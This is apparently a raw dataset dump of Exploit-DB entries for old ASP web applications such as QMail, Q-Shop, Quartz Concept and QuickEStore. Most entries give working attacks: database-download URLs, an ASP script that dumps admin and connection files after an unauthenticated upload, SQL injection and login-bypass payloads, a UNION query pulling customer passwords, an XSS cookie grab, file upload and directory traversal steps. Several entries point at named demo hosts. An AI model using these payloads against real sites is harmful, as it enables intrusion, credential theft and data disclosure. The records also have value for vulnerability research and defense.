deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7376
Description: QMail Mailing List Manager 1.2 - Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-07
Author: Ghost Hacker

Exploit:
####################################################################################################
# QMail Mailing List Manager 1.2 (qmail.mdb) Database Disclosure Vulnerability                     #
# Â© Ghost Hacker - REAL-H.COM                                                                      #
####################################################################################################
#[~] Author : Ghost Hacker                                                                         #
#[~] Homepage : http://Real-h.com                                                                  #
#[~] Contact Me : Ghost-r00t[at]Hotmail[dot]com                                                    #
#[~] Bug : Database Disclosure                                                                     #
#[~] Name Script : QMail Mailing List Manager 1.2                                                  #
#[~] Download : http://www.dotnetindex.com/downloads/easy_download_getinfo.asp?id=6                #
####################################################################################################
#[~]Exploit                                                                                        #
# http://xxxx.com/[path]/database/qmail.mdb                                                        #
####################################################################################################
#[~]Greets :                                                                                       #
# Mr.SaFa7 [v4-team.com] , All Members Real-h.com and v4-team.net , All My Friends (3ed mobark)    #
####################################################################################################

# milw0rm.com [2008-12-07]
Exploit-DB #22885
Description: QuadComm Q-Shop 2.5 - Failure To Validate Credentials
Type: webapps
Platform: asp
Date: 2003-07-09
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/8153/info

Zone-H has reported that the Q-Shop ASP shopping cart software contains a vulnerability that may allow remote attackers to upload arbitrary files. Once uploaded, the attacker may be able to have the script executed in the security context of the Web server. It is reported that Q-Shop provides an interface intended for administrators to upload files, however when this file is requested directly, no authentication is required.

// 1ndonesian Security Team
// http://bosen.net/releases/
//
// bosen.asp
// Do server side file reading and dump it to the web as a text file.
//
<% @ Language = JScript %>
<%
function WinPath(absPath) {this.absolutePath = absPath;}
function getAbsPath() {return this.absolutePath;}
WinPath.prototype.getAbsolutePath = getAbsPath;

function fileRead(file) {
  var FSO = new ActiveXObject("Scripting.FileSystemObject"), strOut = ""
  var tmp = file, f, g = FSO.GetFile(tmp);
  f = FSO.OpenTextFile(tmp, 1, false);
  strOut = "<PRE STYLE=\"font-size:9pt;\">";
  strOut+= Server.HTMLEncode(f.ReadAll());
  strOut+= "</pre>";
  f.Close();
  return(strOut);
}

var a = new WinPath(Server.Mappath("/"));
var curDir   = a.getAbsolutePath();

// You can change these
var admin = curDir + "\\q-shop25\\admin\\security.asp";
var db = curDir + "\\q-shop25\\inc\\conx.asp";

with (Response) {
  Write("<b>ServerRoot : "+curDir+"<br></b>");
  Write("<b>Admin Info : "+admin+"<br><br></b>");
  Write(fileRead(admin));
  Write("<b>DB Info : "+db+"<br><br></b>");
  Write(fileRead(db));
}
%>
Exploit-DB #26964
Description: Quantum Art QP7.Enterprise - 'news.asp?p_news_id' SQL Injection
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16022/info
 
QP7.Enterprise is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/news.asp?p_pagealias=news&p_news_id=1[SQL]
Exploit-DB #26963
Description: Quantum Art QP7.Enterprise - 'news_and_events_new.asp?p_news_id' SQL Injection
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16022/info

QP7.Enterprise is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/news_and_events_new.asp?p_MenuAlias=news&p_news_id=1[SQL]
Exploit-DB #10425
Description: Quartz Concept Content Manager 3.00 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-12-14
Author: Mr.aFiR

Exploit:
#####################################################################
// Exploit Begin.
#####################################################################
##                                _______   ____                   ##
##          __ ___               / _____ \ /  __ \                 ##
##         /      \  _ _     ___ | |___ |/ | |  ) )                ##
##        |  Y  Y  \| V_\   / _ Y|  __ |(_)| |_/ /      [A]        ##
##        |__|__|__ \ |  ()| (_] | |  \|| ||  __ \                 ##
##                 \/_/     \___ | |    | || |  ) |                ##
##                              \|/     |_/|_/  |/                 ##
##                                                                 ##
#####################################################################
##          :: Quartz Concept Content Manager V3.00 ::             ##
##                          Auth Bypass                            ##
##             Created By Mr.aFiR (Moroccan Hacker)                ##
##                    Email: q-_@hotmail.com                       ##
##                     Website: www.aFiR.me                        ##
##                      (c) -- 14/12/2oo9                          ##
#####################################################################
##                      * How to use it ?                          ##
##                      -----------------                          ##
## ~ Go to : > http://site/admin/                                  ##
##           > Login : Username = 1'or'1'='1                       ##
##                     Password = 1'or'1'='1                       ##
##                                                                 ##
##           > Enjoy! You're the administrator of website !        ##
##                                                                 ##
#####################################################################
## ~ GreatZ To : > Dr.Crypter - Dr.BoB-Hacker - Love511 & All ...  ##
## ~ Contact   : > q-_[at]Hotmail[dot]com - www[dot]aFiR[dot]me    ##
##                        I Love You ****                          ##
#####################################################################

© aFiR.Me - 0nly F0r Security 2009 | By Mr.aFiR

// Exploit End.
Exploit-DB #7508
Description: QuickerSite Easy CMS - Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-17
Author: AlpHaNiX

Exploit:
###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.nullarea.net
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : QuickerSite Easy CMS
#download : null
#Demo     : http://cupofcoffee.quickersite.com/


###########################################################################

#Exploits :

--=[DATABASE DISCLOSURE]=--

http://cupofcoffee.quickersite.com/db/QuickerSite.mdb


###########################################################################

# milw0rm.com [2008-12-17]
Exploit-DB #10771
Description: QuickEStore 7.9 - SQL Injection / Full Path Disclosure Download
Type: webapps
Platform: asp
Date: 2009-12-29
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : QuickEStore v.7.9 SQLInjection and Path Diclosure Download Vulnerability|
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : SQL Injection                                                            | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| Vulnerability description
| Input passed to the "CategoryID" parameter in prodpage.cfm, the "SubCatID" parameter in index.cfm, the "OrderID" parameter in shipping.cfm, and to the "ItemID" parameter in proddetail.cfm is not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. 
|
| Note that error messages disclose the full installation path. 
|
| Examples:
|/prodpage.cfm?CFID=&CFTOKEN=&CategoryID=[SQL]
|/index.cfm?CFID=1&CFTOKEN=1&SubCatID=[SQL]
|/proddetail.cfm?CFID=1&CFTOKEN=1&ItemID=[SQL]
|/checkout.cfm?CFID=&CFTOKEN=&OrderID=[SQL]
|/shipping.cfm?CFID=&CFTOKEN=&OrderID=[SQL]
|Confirmed in version 7.9. Other versions may also be affected.
|This vulnerability affects /sm-ak051/prodpage.cfm. 
|The impact of this vulnerability:
|The remote attacker can manipulate SQL queries by injecting arbitrary SQL code.
|Attack details:
|No details .
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) 
* Stake (v4-team) * Angel25dz (hackteatch.com)
-------------------------------------------------------------------------------------------
Exploit-DB #9963
Description: QuickTeam 2.2 - SQL Injection
Type: webapps
Platform: asp
Date: 2009-10-14
Author: drunken danish rednecks

Exploit:
  __  __  __
 (__)(__)(__)
(__)(__)(__)| D R U N K E N
|  ||  ||  || D A N I S H
|  ||  ||  |' R E D N E C K S
'--''--''--'
  __  __  __
 (__)(__)(__) RESEARCH AND FUCKING HACKING:
(__)(__)(__)| DRUNKEN DANISH REDNECKS
|  ||  ||  || !!!!!!!
|  ||  ||  |' drunken.danish.rednecks@gmail.com
'--''--''--'

 [=]  QUICKTEAM 2.2 SQL INJECTION (WE STEEL YOUR DAMNED CREDITCARDS HEHEHEEHEH)
 | |  "title" PARMETER IN QTE_RESULT.PHP
 }@{  http://www.qt-cute.org/demo_qte/qte_result.php?title=%22+UNION+BURP&ok=Search
/   \ QUICKTEAM 2.2 SQL INJECTION
:___; qt-cute.org
|&&&| QUICKTEAM 2.2 SQL INJECTION
|&&&| qt-cute.org
|---| QUICKTEAM 2.2 SQL INJECTION
'---' qt-cute.org
  __  __  __
 (__)(__)(__)
(__)(__)(__)| **ALCOHOL** + **HEAVY METAL** + **JACKASS**
|  ||  ||  ||
|  ||  ||  |' SINCE 2003!!!! BUUUUURP!!!!!!
'--''--''--'
Exploit-DB #3089
Description: Quote&Ordering System 1.0 - 'ordernum' Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2007-01-05
Author: ajann

Exploit:
*******************************************************************************
# Title   :  QUOTE&ORDERING SYSTEM 1.0 (ordernum) Multiple Vulnerabilities
# Author  :  ajann
# Contact :  :(
# S.Page  :  ...
# $$      :  $250.00

*******************************************************************************

[[SQL]]]---------------------------------------------------------

Register & Login Before Injection..


http://[target]/[path]//search.asp?ordernum=[SQL]

Example:

//search.asp?ordernum=1+union+select+cemail,0,0,cpassword,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+tblcustomer&designname=&date=&statusid=statusid%3C%3E0&btnser=Search+Now

[[/SQL]]

[[XSS]]]---------------------------------------------------------

Register & Login Before Injection..


http://[target]/[path]//search.asp?ordernum=[XSS]

Example:

//search.asp?ordernum=%3Cscript%3EJavaScript%3Aalert%28document.cookie%29%3B%3C%2Fscript%3E&designname=&date=&statusid=statusid%3C%3E0&btnser=Search+Now

[[/XSS]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-05]
Exploit-DB #8849
Description: R2 NewsLetter Lite/Pro/Stats - 'admin.mdb' Database Disclosure
Type: webapps
Platform: asp
Date: 2009-06-01
Author: TiGeR-Dz

Exploit:
 ---------------------------------------------------------------
 ---------------------------------------------------------------
R2 Newsletter Store (admin.mdb) Remote Admin Disclosure
 Vulnerability
 ---------------------------------------------------------------
 Founder : TiGeR-Dz
 Home:http:/www.r2newsletter.com
 Script:R2 Newsletter Store 
 Download:http://www.r2newsletter.com/shop/store/dynamicIndex.asp
 ---------------------------------------------------------------
 Exploit:
 -------

 http://www.site.com/[script]/admin.asp

 go to 

http://www.site.com/[script]/admin.mdb
 --------------------------------------
 ----------------------------------------------------------------
 Dem0
 ----
 http://www.r2newsletter.com/statsdemo/admin.asp

 go to 

 http://www.r2newsletter.com/statsdemo/admin.mdb 

 --------------------------------------

 Greeting To ALL My Friends (Dz)

# milw0rm.com [2009-06-01]
Exploit-DB #11310
Description: RaakCMS - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-02-01
Author: Pouya Daneshmand

Exploit:
#################################################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: RaakCms
# Vendor: http://raakcms.com
#################################################################
Vulnerability:
=======================
Arbitrary File Upload
=======================
http://server/webmaster/pic.aspx
select file and folder , your file upload here:
http://server/User_Images/[Folder]/FILE.ASPX

=======================
Directory Traversal
=======================
http://server/browse.asp?dir=./..
http://server/browseFile.asp?dir=./..
#################################################################

#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://securitylab.ir
# Contacts: info[at]securitylab.ir & whh_iran@yahoo.com<mailto:whh_iran@yahoo.com>
###################################################################
Exploit-DB #16179
Description: Rae Media Real Estate Multi Agent - SQL Injection
Type: webapps
Platform: asp
Date: 2011-02-16
Author: R4dc0re

Exploit:
source: https://www.securityfocus.com/bid/45212/info

Multi Agent System is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Multi Agent System 3.0 is vulnerable; other versions may also be affected. 

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/multi/city.asp?probe=[Code]
Exploit-DB #16178
Description: Rae Media Real Estate Single Agent - SQL Injection
Type: webapps
Platform: asp
Date: 2011-02-16
Author: R4dc0re

Exploit:
source: https://www.securityfocus.com/bid/45211/info

Real Estate Single is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Real Estate Single 3.0 is vulnerable; other versions may also be affected. 

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/resulttype.asp?probe=[Code]
Exploit-DB #16241
Description: RaksoCT - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2011-02-25
Author: p0pc0rn

Exploit:
Title        : RaksoCT Web Design Vulnerable to Multiples SQL Injection
Web        : http://raksoct.com/
Found By : p0pc0rn 25/02/2011

Blind SQL
----------
1 - Parameter gallery_details.asp?a_id=[Blind SQL]

POC
---
http://site.com//gallery_details.asp?a_id=12' and '1'='1 TRUE
http://site.com//gallery_details.asp?a_id=12' and '0'='1 FALSE

2 - Parameter news.asp?intSeq=[Blind SQL]

POC
---
http://www.site.com/news/news.asp?intSeq=69' and '1'='1 TRUE
http://www.site.com/news/news.asp?intSeq=69' and '0'='1 FALSE

3 - Parameter news.asp?id=[Blind SQL]

POC
---
http://www.site.com/news/news.asp?id=256 and 1=1 TRUE
http://www.site.com/news/news.asp?id=256 and 1=0 FALSE